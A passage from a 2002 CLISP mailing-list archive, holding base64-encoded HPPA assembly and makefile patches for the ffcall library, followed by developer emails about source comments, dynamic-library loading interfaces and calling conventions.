JXIyMSwlcjIwCgljb21pYiw9LG4gMCwlcjIwLC5MMwoJbGR3IDE2KCVyMyksJXIyMAoJbGRpIDgs JXIyMQoJYW5kICVyMjAsJXIyMSwlcjIwCgljb21pYiw9LG4gMCwlcjIwLC5MMzUKCWxkdyAzMigl cjMpLCVyMjAKCWNvbWliLDw+LG4gMSwlcjIwLC5MMzYKCWxkdyAyNCglcjMpLCVyMjAKCWxkYiAw KCVyMjApLCVyMjAKCWV4dHJ1ICVyMjAsMzEsOCwlcjI4CgliLG4gLkwzCi5MMzY6CglsZHcgMzIo JXIzKSwlcjIwCgljb21pYiw8PixuIDIsJXIyMCwuTDM4CglsZHcgMjQoJXIzKSwlcjIwCglsZGgg MCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDE2LCVyMjgKCWIsbiAuTDMKLkwzODoKCWxkdyAz MiglcjMpLCVyMjAKCWNvbWliLDw+LG4gNCwlcjIwLC5MMwoJbGR3IDI0KCVyMyksJXIyMAoJbGR3 IDAoJXIyMCksJXIyOAoJYixuIC5MMwouTDM1OgoJbGR3IDMyKCVyMyksJXIyMAoJY29taWIsPSxu IDAsJXIyMCwuTDMKCWxkdyAzMiglcjMpLCVyMjAKCWNvbWliLDw8LG4gOCwlcjIwLC5MMwoJbGR3 IDMyKCVyMyksJXIyMAoJY29taWIsPD4sbiAxLCVyMjAsLkw0MwoJbGR3IDI0KCVyMyksJXIyMAoJ bGRiIDAoJXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVyMjgKCWIsbiAuTDMKLkw0MzoKCWxk dyAzMiglcjMpLCVyMjAKCWNvbWliLDw+LG4gMiwlcjIwLC5MNDUKCWxkdyAyNCglcjMpLCVyMjAK CWxkYiAwKCVyMjApLCVyMjAKCWV4dHJ1ICVyMjAsMzEsOCwlcjIwCgl6ZGVwICVyMjAsMjMsMjQs JXIyMQoJbGR3IDI0KCVyMyksJXIyMAoJbGRvIDEoJXIyMCksJXIyMAoJbGRiIDAoJXIyMCksJXIy MAoJZXh0cnUgJXIyMCwzMSw4LCVyMjAKCW9yICVyMjEsJXIyMCwlcjI4CgliLG4gLkwzCi5MNDU6 CglsZHcgMzIoJXIzKSwlcjIwCgljb21pYiw8PixuIDMsJXIyMCwuTDQ3CglsZHcgMjQoJXIzKSwl cjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIyMAoJemRlcCAlcjIwLDE1 LDE2LCVyMjEKCWxkdyAyNCglcjMpLCVyMjAKCWxkbyAxKCVyMjApLCVyMjAKCWxkYiAwKCVyMjAp LCVyMjAKCWV4dHJ1ICVyMjAsMzEsOCwlcjIwCgl6ZGVwICVyMjAsMjMsMjQsJXIyMAoJb3IgJXIy MSwlcjIwLCVyMjEKCWxkdyAyNCglcjMpLCVyMjAKCWxkbyAyKCVyMjApLCVyMjAKCWxkYiAwKCVy MjApLCVyMjAKCWV4dHJ1ICVyMjAsMzEsOCwlcjIwCglvciAlcjIxLCVyMjAsJXIyOAoJYixuIC5M MwouTDQ3OgoJbGR3IDMyKCVyMyksJXIyMAoJY29taWIsPD4sbiA0LCVyMjAsLkw0OQoJbGR3IDI0 KCVyMyksJXIyMAoJbGRiIDAoJXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVyMjAKCXpkZXAg JXIyMCw3LDgsJXIyMQoJbGR3IDI0KCVyMyksJXIyMAoJbGRvIDEoJXIyMCksJXIyMAoJbGRiIDAo JXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVyMjAKCXpkZXAgJXIyMCwxNSwxNiwlcjIwCglv ciAlcjIxLCVyMjAsJXIyMQoJbGR3IDI0KCVyMyksJXIyMAoJbGRvIDIoJXIyMCksJXIyMAoJbGRi IDAoJXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVyMjAKCXpkZXAgJXIyMCwyMywyNCwlcjIw CglvciAlcjIxLCVyMjAsJXIyMQoJbGR3IDI0KCVyMyksJXIyMAoJbGRvIDMoJXIyMCksJXIyMAoJ bGRiIDAoJXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVyMjAKCW9yICVyMjEsJXIyMCwlcjI4 CgliLG4gLkwzCi5MNDk6CglsZHcgMzIoJXIzKSwlcjIwCgljb21pYiw8PixuIDUsJXIyMCwuTDUx CglsZHcgMjQoJXIzKSwlcjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIy MAoJemRlcCAlcjIwLDcsOCwlcjIxCglsZHcgMjQoJXIzKSwlcjIwCglsZG8gMSglcjIwKSwlcjIw CglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIyMAoJemRlcCAlcjIwLDE1LDE2 LCVyMjAKCW9yICVyMjEsJXIyMCwlcjIxCglsZHcgMjQoJXIzKSwlcjIwCglsZG8gMiglcjIwKSwl cjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIyMAoJemRlcCAlcjIwLDIz LDI0LCVyMjAKCW9yICVyMjEsJXIyMCwlcjIxCglsZHcgMjQoJXIzKSwlcjIwCglsZG8gMyglcjIw KSwlcjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIyMAoJb3IgJXIyMSwl cjIwLCVyMjgKCWxkdyAyNCglcjMpLCVyMjAKCWxkbyA0KCVyMjApLCVyMjAKCWxkYiAwKCVyMjAp LCVyMjAKCWV4dHJ1ICVyMjAsMzEsOCwlcjI5CgliLG4gLkwzCi5MNTE6CglsZHcgMzIoJXIzKSwl cjIwCgljb21pYiw8PixuIDYsJXIyMCwuTDUzCglsZHcgMjQoJXIzKSwlcjIwCglsZGIgMCglcjIw KSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIyMAoJemRlcCAlcjIwLDcsOCwlcjIxCglsZHcgMjQo JXIzKSwlcjIwCglsZG8gMSglcjIwKSwlcjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIw LDMxLDgsJXIyMAoJemRlcCAlcjIwLDE1LDE2LCVyMjAKCW9yICVyMjEsJXIyMCwlcjIxCglsZHcg MjQoJXIzKSwlcjIwCglsZG8gMiglcjIwKSwlcjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRydSAl cjIwLDMxLDgsJXIyMAoJemRlcCAlcjIwLDIzLDI0LCVyMjAKCW9yICVyMjEsJXIyMCwlcjIxCgls ZHcgMjQoJXIzKSwlcjIwCglsZG8gMyglcjIwKSwlcjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRy dSAlcjIwLDMxLDgsJXIyMAoJb3IgJXIyMSwlcjIwLCVyMjgKCWxkdyAyNCglcjMpLCVyMjAKCWxk byA0KCVyMjApLCVyMjAKCWxkYiAwKCVyMjApLCVyMjAKCWV4dHJ1ICVyMjAsMzEsOCwlcjIwCgl6 ZGVwICVyMjAsMjMsMjQsJXIyMQoJbGR3IDI0KCVyMyksJXIyMAoJbGRvIDUoJXIyMCksJXIyMAoJ bGRiIDAoJXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVyMjAKCW9yICVyMjEsJXIyMCwlcjI5 CgliLG4gLkwzCi5MNTM6CglsZHcgMzIoJXIzKSwlcjIwCgljb21pYiw8PixuIDcsJXIyMCwuTDU1 CglsZHcgMjQoJXIzKSwlcjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIy MAoJemRlcCAlcjIwLDcsOCwlcjIxCglsZHcgMjQoJXIzKSwlcjIwCglsZG8gMSglcjIwKSwlcjIw CglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIyMAoJemRlcCAlcjIwLDE1LDE2 LCVyMjAKCW9yICVyMjEsJXIyMCwlcjIxCglsZHcgMjQoJXIzKSwlcjIwCglsZG8gMiglcjIwKSwl cjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIyMAoJemRlcCAlcjIwLDIz LDI0LCVyMjAKCW9yICVyMjEsJXIyMCwlcjIxCglsZHcgMjQoJXIzKSwlcjIwCglsZG8gMyglcjIw KSwlcjIwCglsZGIgMCglcjIwKSwlcjIwCglleHRydSAlcjIwLDMxLDgsJXIyMAoJb3IgJXIyMSwl cjIwLCVyMjgKCWxkdyAyNCglcjMpLCVyMjAKCWxkbyA0KCVyMjApLCVyMjAKCWxkYiAwKCVyMjAp LCVyMjAKCWV4dHJ1ICVyMjAsMzEsOCwlcjIwCgl6ZGVwICVyMjAsMTUsMTYsJXIyMQoJbGR3IDI0 KCVyMyksJXIyMAoJbGRvIDUoJXIyMCksJXIyMAoJbGRiIDAoJXIyMCksJXIyMAoJZXh0cnUgJXIy MCwzMSw4LCVyMjAKCXpkZXAgJXIyMCwyMywyNCwlcjIwCglvciAlcjIxLCVyMjAsJXIyMQoJbGR3 IDI0KCVyMyksJXIyMAoJbGRvIDYoJXIyMCksJXIyMAoJbGRiIDAoJXIyMCksJXIyMAoJZXh0cnUg JXIyMCwzMSw4LCVyMjAKCW9yICVyMjEsJXIyMCwlcjI5CgliLG4gLkwzCi5MNTU6CglsZHcgMzIo JXIzKSwlcjIwCgljb21pYiw8PixuIDgsJXIyMCwuTDMKCWxkdyAyNCglcjMpLCVyMjAKCWxkYiAw KCVyMjApLCVyMjAKCWV4dHJ1ICVyMjAsMzEsOCwlcjIwCgl6ZGVwICVyMjAsNyw4LCVyMjEKCWxk dyAyNCglcjMpLCVyMjAKCWxkbyAxKCVyMjApLCVyMjAKCWxkYiAwKCVyMjApLCVyMjAKCWV4dHJ1 ICVyMjAsMzEsOCwlcjIwCgl6ZGVwICVyMjAsMTUsMTYsJXIyMAoJb3IgJXIyMSwlcjIwLCVyMjEK CWxkdyAyNCglcjMpLCVyMjAKCWxkbyAyKCVyMjApLCVyMjAKCWxkYiAwKCVyMjApLCVyMjAKCWV4 dHJ1ICVyMjAsMzEsOCwlcjIwCgl6ZGVwICVyMjAsMjMsMjQsJXIyMAoJb3IgJXIyMSwlcjIwLCVy MjEKCWxkdyAyNCglcjMpLCVyMjAKCWxkbyAzKCVyMjApLCVyMjAKCWxkYiAwKCVyMjApLCVyMjAK CWV4dHJ1ICVyMjAsMzEsOCwlcjIwCglvciAlcjIxLCVyMjAsJXIyOAoJbGR3IDI0KCVyMyksJXIy MAoJbGRvIDQoJXIyMCksJXIyMAoJbGRiIDAoJXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVy MjAKCXpkZXAgJXIyMCw3LDgsJXIyMQoJbGR3IDI0KCVyMyksJXIyMAoJbGRvIDUoJXIyMCksJXIy MAoJbGRiIDAoJXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVyMjAKCXpkZXAgJXIyMCwxNSwx NiwlcjIwCglvciAlcjIxLCVyMjAsJXIyMQoJbGR3IDI0KCVyMyksJXIyMAoJbGRvIDYoJXIyMCks JXIyMAoJbGRiIDAoJXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVyMjAKCXpkZXAgJXIyMCwy MywyNCwlcjIwCglvciAlcjIxLCVyMjAsJXIyMQoJbGR3IDI0KCVyMyksJXIyMAoJbGRvIDcoJXIy MCksJXIyMAoJbGRiIDAoJXIyMCksJXIyMAoJZXh0cnUgJXIyMCwzMSw4LCVyMjAKCW9yICVyMjEs JXIyMCwlcjI5Ci5MMzoKCWxkdyAtMjAoJXIzKSwlcjIKCWxkdyAxMjgoJXIzKSwlcjQKCWxkbyA2 NCglcjMpLCVyMzAKCWxkd20gLTY0KCVyMzApLCVyMwoJYnYsbiAlcjAoJXIyKQoJLkVYSVQKCS5Q Uk9DRU5ECi5MZmUxOgoJLnNpemUJdmFjYWxsLC5MZmUxLXZhY2FsbAoJLmlkZW50CSJHQ0M6IChH TlUpIDMuMC40Igo= --------------Boundary-00=_J74ANK72096W3T1BJIAK Content-Type: text/x-diff; charset="iso-8859-1"; name="clisp-2.28-vacall-makefile.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="clisp-2.28-vacall-makefile.diff" LS0tIGNsaXNwLTIuMjgub2xkL2ZmY2FsbC92YWNhbGwvTWFrZWZpbGUuZGV2ZWwJTW9uIEF1ZyAy NyAxODowNDoyNSAyMDAxCisrKyBjbGlzcC0yLjI4L2ZmY2FsbC92YWNhbGwvTWFrZWZpbGUuZGV2 ZWwJVHVlIEFwciAgOSAwMzowOToxNyAyMDAyCkBAIC05LDcgKzksNyBAQAogU0VEID0gc2VkCiBS T0ZGX01BTiA9IGdyb2ZmIC1UYXNjaWkgLW1hbmRvYwogCi1hbGwgOiB2YWNhbGwtaTM4Ni1tYWNy by5TIHZhY2FsbC1pMzg2LW1zdmMuYyB2YWNhbGwtaTM4Ni1taW5ndzMyLmMgdmFjYWxsLW02OGsu bWl0LlMgdmFjYWxsLW02OGsubW90LnMgdmFjYWxsLW1pcHMuUyB2YWNhbGwtbWlwc24zMi5TIHZh Y2FsbC1taXBzNjQuUyB2YWNhbGwtc3BhcmMuUyB2YWNhbGwtc3BhcmM2NC5TIHZhY2FsbC1hbHBo YS5zIHZhY2FsbC1ocHBhLnMgdmFjYWxsLWFybS5TIHZhY2FsbC1yczYwMDAtYWl4Lm9sZC5zIHZh Y2FsbC1yczYwMDAtYWl4Lm5ldy5zIHZhY2FsbC1yczYwMDAtc3lzdjQucyB2YWNhbGwtbTg4ay5z IHZhY2FsbC1jb252ZXgucyB2YWNhbGwtaWE2NC5zIHZhY2FsbC5tYW4gXAorYWxsIDogdmFjYWxs LWkzODYtbWFjcm8uUyB2YWNhbGwtaTM4Ni1tc3ZjLmMgdmFjYWxsLWkzODYtbWluZ3czMi5jIHZh Y2FsbC1tNjhrLm1pdC5TIHZhY2FsbC1tNjhrLm1vdC5zIHZhY2FsbC1taXBzLlMgdmFjYWxsLW1p cHNuMzIuUyB2YWNhbGwtbWlwczY0LlMgdmFjYWxsLXNwYXJjLlMgdmFjYWxsLXNwYXJjNjQuUyB2 YWNhbGwtYWxwaGEucyB2YWNhbGwtaHBwYS5zIHZhY2FsbC1ocHBhLWxpbnV4LnMgdmFjYWxsLWFy bS5TIHZhY2FsbC1yczYwMDAtYWl4Lm9sZC5zIHZhY2FsbC1yczYwMDAtYWl4Lm5ldy5zIHZhY2Fs bC1yczYwMDAtc3lzdjQucyB2YWNhbGwtbTg4ay5zIHZhY2FsbC1jb252ZXgucyB2YWNhbGwtaWE2 NC5zIHZhY2FsbC5tYW4gXAogICAgICAgdmFjYWxsLmgubXN2YyBjb25maWcuaC5tc3ZjIHZhY2Fs bC5oLm1pbmd3MzIgY29uZmlnLmgubWluZ3czMgogCiB2YWNhbGwtaTM4Ni1tYWNyby5TIDogdmFj YWxsLWkzODYuYyB2YWNhbGwuaC5pbiBhc21pMzg2LnNoCkBAIC02Myw2ICs2Myw5IEBACiAKIHZh Y2FsbC1ocHBhLnMgOiB2YWNhbGwtaHBwYS5jIHZhY2FsbC5oLmluCiAJJChHQ0MpIC1WIDIuNi4z IC1iIGhwcGExLjAtaHB1eCAkKEdDQ0ZMQUdTKSAtRF9faHBwYV9fIC1TIHZhY2FsbC1ocHBhLmMg LW8gdmFjYWxsLWhwcGEucworCit2YWNhbGwtaHBwYS1saW51eC5zIDogdmFjYWxsLWhwcGEuYyB2 YWNhbGwuaC5pbgorCSQoR0NDKSAtRF9faHBwYV9fIC1tYXJjaD0xLjAgLWZQSUMgLURIQVZFX0xP TkdMT05HIC1TIHZhY2FsbC1ocHBhLmMgLW8gdmFjYWxsLWhwcGEtbGludXgucwogCiB2YWNhbGwt YXJtLlMgOiB2YWNhbGwtYXJtLmMgdmFjYWxsLmguaW4gYXNtYXJtLnNoCiAJJChHQ0MpIC1WIDIu Ni4zIC1iIGFybS1hY29ybi1yaXNjaXggJChHQ0NGTEFHUykgLURfX2FybV9fIC1TIHZhY2FsbC1h cm0uYyAtbyB2YWNhbGwtYXJtLnMK --------------Boundary-00=_J74ANK72096W3T1BJIAK Content-Type: text/x-diff; charset="iso-8859-1"; name="clisp-2.28-avcall-makefile.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="clisp-2.28-avcall-makefile.diff" LS0tIGNsaXNwLTIuMjgub2xkL2ZmY2FsbC9hdmNhbGwvTWFrZWZpbGUuZGV2ZWwJU2F0IEF1ZyAx OCAyMTowNDo1OSAyMDAxCisrKyBjbGlzcC0yLjI4L2ZmY2FsbC9hdmNhbGwvTWFrZWZpbGUuZGV2 ZWwJVHVlIEFwciAgOSAwMzowNzoxNSAyMDAyCkBAIC05LDcgKzksNyBAQAogU0VEID0gc2VkCiBS T0ZGX01BTiA9IGdyb2ZmIC1UYXNjaWkgLW1hbmRvYwogCi1hbGwgOiBhdmNhbGwtaTM4Ni1tYWNy by5TIGF2Y2FsbC1pMzg2LW1zdmMuYyBhdmNhbGwtaTM4Ni1taW5ndzMyLmMgYXZjYWxsLmgubXN2 YyBhdmNhbGwuaC5taW5ndzMyIGF2Y2FsbC1tNjhrLm1pdC5TIGF2Y2FsbC1tNjhrLm1vdC5zIGF2 Y2FsbC1tNjhrLWFtaWdhLnMgYXZjYWxsLW1pcHMuUyBhdmNhbGwtbWlwc24zMi5TIGF2Y2FsbC1t aXBzNjQuUyBhdmNhbGwtc3BhcmMuUyBhdmNhbGwtc3BhcmM2NC5TIGF2Y2FsbC1hbHBoYS5zIGF2 Y2FsbC1ocHBhLnMgYXZjYWxsLWFybS5TIGF2Y2FsbC1yczYwMDAtYWl4Lm9sZC5zIGF2Y2FsbC1y czYwMDAtYWl4Lm5ldy5zIGF2Y2FsbC1yczYwMDAtc3lzdjQucyBhdmNhbGwtbTg4ay5zIGF2Y2Fs bC1jb252ZXgucyBhdmNhbGwtaWE2NC5zIGF2Y2FsbC5tYW4KK2FsbCA6IGF2Y2FsbC1pMzg2LW1h Y3JvLlMgYXZjYWxsLWkzODYtbXN2Yy5jIGF2Y2FsbC1pMzg2LW1pbmd3MzIuYyBhdmNhbGwuaC5t c3ZjIGF2Y2FsbC5oLm1pbmd3MzIgYXZjYWxsLW02OGsubWl0LlMgYXZjYWxsLW02OGsubW90LnMg YXZjYWxsLW02OGstYW1pZ2EucyBhdmNhbGwtbWlwcy5TIGF2Y2FsbC1taXBzbjMyLlMgYXZjYWxs LW1pcHM2NC5TIGF2Y2FsbC1zcGFyYy5TIGF2Y2FsbC1zcGFyYzY0LlMgYXZjYWxsLWFscGhhLnMg YXZjYWxsLWhwcGEucyBhdmNhbGwtaHBwYS1saW51eC5zIGF2Y2FsbC1hcm0uUyBhdmNhbGwtcnM2 MDAwLWFpeC5vbGQucyBhdmNhbGwtcnM2MDAwLWFpeC5uZXcucyBhdmNhbGwtcnM2MDAwLXN5c3Y0 LnMgYXZjYWxsLW04OGsucyBhdmNhbGwtY29udmV4LnMgYXZjYWxsLWlhNjQucyBhdmNhbGwubWFu CiAKIGF2Y2FsbC1pMzg2LW1hY3JvLlMgOiBhdmNhbGwtaTM4Ni5jIGF2Y2FsbC5oLmluIGFzbWkz ODYuc2gKIAkkKEdDQykgLVYgMi43LjIgLWIgaTQ4Ni1saW51eGFvdXQgJChHQ0NGTEFHUykgLURf X2kzODZfXyAtZm5vLW9taXQtZnJhbWUtcG9pbnRlciAtUyBhdmNhbGwtaTM4Ni5jIC1vIGF2Y2Fs bC1pMzg2LnMKQEAgLTcyLDkgKzcyLDEzIEBACiAJJChSTSkgYXZjYWxsLWFscGhhLXRlbXAucwog CiBhdmNhbGwtaHBwYS5zIDogYXZjYWxsLWhwcGEuYyBhdmNhbGwuaC5pbgotCSQoR0NDKSAtViAy LjYuMyAtYiBocHBhMS4wLWhwdXggJChHQ0NGTEFHUykgLURfX2hwcGFfXyAtUyBhdmNhbGwtaHBw YS5jIC1vIGF2Y2FsbC1ocHBhLXRlbXAucworCSQoR0NDKSAtViAyLjYuMyAtYiBocHBhMS4wLWhw dXggJChHQ0NGTEFHUykgLURfX2hwcGFfXyAtUyBhdmNhbGwtaHBwYS5jCisJLW8gYXZjYWxsLWhw cGEtdGVtcC5zCiAJJChTRUQpIC1lICdzLzEyMC8xMDYwL2cnIDwgYXZjYWxsLWhwcGEtdGVtcC5z ID4gYXZjYWxsLWhwcGEucwogCSQoUk0pIGF2Y2FsbC1ocHBhLXRlbXAucworCithdmNhbGwtaHBw YS1saW51eC5zOiBhdmNhbGwtaHBwYS1saW51eC5jIGF2Y2FsbC5oLmluCisJJChHQ0MpIC1EX19o cHBhX18gLW1hcmNoPTEuMCAtZlBJQyAtUyBhdmNhbGwtaHBwYS1saW51eC5jIC1vIGF2Y2FsbC1o cHBhLWxpbnV4LnMKIAogYXZjYWxsLWFybS5TIDogYXZjYWxsLWFybS5jIGF2Y2FsbC5oLmluIGFz bWFybS5zaAogCSQoR0NDKSAtViAyLjYuMyAtYiBhcm0tYWNvcm4tcmlzY2l4ICQoR0NDRkxBR1Mp IC1EX19hcm1fXyAtUyBhdmNhbGwtYXJtLmMgLW8gYXZjYWxsLWFybS5zCg== --------------Boundary-00=_J74ANK72096W3T1BJIAK-- From rurban@x-ray.at Tue Apr 09 05:06:01 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16uuNr-0007Mb-00 for ; Tue, 09 Apr 2002 05:05:59 -0700 Received: from [62.46.176.207] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16uuNl-0001vm-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 14:05:53 +0200 Message-ID: <3CB2D923.9F1B451D@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] translations References: <200204082142.g38Lgn228143@mantis.privatei.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 05:07:07 2002 X-Original-Date: Tue, 09 Apr 2002 12:05:55 +0000 Sam Steingold schrieb: > The reason the comments will always be in English only is simple: > when you modify the code, you should modify the comments too. > I cannot modify the German comments, so, when Stefan translated > clos.lisp (just now), I had to edit his translation to reflect the > changes I made long ago but did not document then: when editing a > German-commented file, I often relied on code as self-documentation, > and ignored the comments altogether. > > > I had been using the sources to improve my understanding of German also. > > CLISP is not the right place to learn German. indeed. even for me as native german speaker the old german comments were also very confusing. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From rurban@x-ray.at Tue Apr 09 05:16:13 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16uuXh-0001Wg-00 for ; Tue, 09 Apr 2002 05:16:10 -0700 Received: from [62.46.176.207] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16uuXa-0003ZH-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 14:16:02 +0200 Message-ID: <3CB2DB82.A64FA381@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] two, now three interfaces to dynamic loading of libraries/objects References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 05:18:04 2002 X-Original-Date: Tue, 09 Apr 2002 12:16:02 +0000 "Hoehle, Joerg-Cyril" schrieb: > Sam wrote: > > IIUC, libltdl (part of GNU libtool) is exactly that: > I went to > http://www.gnu.org/software/libtool/manual.html#Using%20libltdl > > I liked that: > o it says "a small C source file" > o lt_dlopen does reference counting itself, whereas FOREIGN.D > (currently AMIGAOS only) implements its own lib-handle factory > via O(foreign_libraries) to avoid multiple opens. > > I felt it's a little over-engineered for my purpose. It provides 16 functions, search-path, its own module concept and more. true. > > * libtool's dlpreopen > I don't have plans to incorporate a thing which has yet again it's own module creation convention (modulename_LTX_ prefix to symbols). hmm, but not that complicated. since libtldl seems to support more platforms in the long run, I would vote for libtldl. > > > This is GNU libltdl, a system independent dlopen wrapper for > > GNU libtool. > [many platforms ...] > > * load_add_on (BeOS) > > * GNU DLD (emulates dynamic linking for static libraries) > > I guess it's probably as easy to integrate as sysdll.c. And it already contains autoconf stuff for > UNIX. Wait and see what users report. IMHO the main advantage of the xemacs code over libtldl is the more liberal license :) but since rms forced bruno to use the GPL we don't need to care. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From rurban@x-ray.at Tue Apr 09 05:22:40 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16uudx-000375-00 for ; Tue, 09 Apr 2002 05:22:37 -0700 Received: from [62.46.176.207] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16uudt-0004I3-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 14:22:33 +0200 Message-ID: <3CB2DD0A.879D5FBB@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] c-ptr nil vs c-pointer and cparse/SWIG -> FFI calls References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 05:23:18 2002 X-Original-Date: Tue, 09 Apr 2002 12:22:34 +0000 Sam Steingold schrieb: > Bruno said that stdcall is not used anymore and may be removed. > I decided against removing. thanks. stdcall is the most often used calling convention nowadays (winapi). sometimes the dictator is wrong. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From peter.wood@worldonline.dk Tue Apr 09 07:20:42 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uwUB-0004Bb-00 for ; Tue, 09 Apr 2002 07:20:39 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 074CBB521 for ; Tue, 9 Apr 2002 16:20:35 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g39E3Zw00437 for clisp-list@lists.sourceforge.net; Tue, 9 Apr 2002 16:03:35 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020409160335.A334@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] avcall-i386.c Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 07:23:30 2002 X-Original-Date: Tue, 9 Apr 2002 16:03:35 +0200 Hi, Why is the file ffcall/avcall/avcall-i386.c not used? I've compiled with it and it (seemingly) works fine (Gnu/Linux x86). Why does Clisp do the hairy cpp|grep|sed x.S -> x.s thing?? Regards, Peter From peter.wood@worldonline.dk Tue Apr 09 07:25:10 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uwYW-0004rN-00 for ; Tue, 09 Apr 2002 07:25:09 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 5C215B63F for ; Tue, 9 Apr 2002 16:24:10 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g39EAu300457 for clisp-list@lists.sourceforge.net; Tue, 9 Apr 2002 16:10:56 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] translations Message-ID: <20020409161056.C334@localhost.localdomain> References: <200204082142.g38Lgn228143@mantis.privatei.com> <3CB2D923.9F1B451D@x-ray.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3CB2D923.9F1B451D@x-ray.at>; from rurban@x-ray.at on Tue, Apr 09, 2002 at 